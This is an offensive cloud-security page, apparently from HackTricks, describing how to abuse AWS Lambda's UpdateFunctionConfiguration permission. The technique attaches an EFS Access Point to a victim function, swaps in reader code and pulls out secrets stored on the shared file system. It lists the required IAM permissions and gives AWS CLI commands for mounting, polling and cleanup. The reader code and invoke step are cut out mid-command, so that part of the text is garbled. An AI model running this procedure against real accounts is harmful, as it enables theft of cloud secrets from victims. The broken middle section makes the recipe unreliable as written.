# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft) {{#include ../../../../banners/hacktricks-training.md}} Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access. ## Requirements - Permissions on the victim account/principal: - `lambda:GetFunctionConfiguration` - `lambda:ListFunctions` (to find functions) - `lambda:UpdateFunctionConfiguration` - `lambda:UpdateFunctionCode` - `lambda:InvokeFunction` - `efs:DescribeMountTargets` (to confirm mount targets exist) - Environment assumptions: - Target Lambda is VPC-enabled and its subnets/SGs can reach the EFS mount target SG over TCP/2049 (e.g. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it). - The EFS Access Point is in the same VPC and has mount targets in the AZs of the Lambda subnets. ## Attack - Variables ``` REGION=us-east-1 TARGET_FN= EFS_AP_ARN= ``` 1) Attach the EFS Access Point to the Lambda ``` aws lambda update-function-configuration \ --function-name $TARGET_FN \ --file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \ --region $REGION # wait until LastUpdateStatus == Successful until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done ``` 2) Overwrite code with a simple reader that lists files and peeks first 200 bytes of a candidate secret/config file ``` cat > reader.py </dev/null cat /tmp/efs-out.json ``` The output should contain the directory listing under /mnt/ht and a small preview of a chosen secret/config file from EFS. ## Impact An attacker with the listed permissions can mount arbitrary in-VPC EFS Access Points into victim Lambda functions to read and exfiltrate shared configuration and secrets stored on EFS that were previously inaccessible to that function. ## Cleanup ``` aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true ``` {{#include ../../../../banners/hacktricks-training.md}}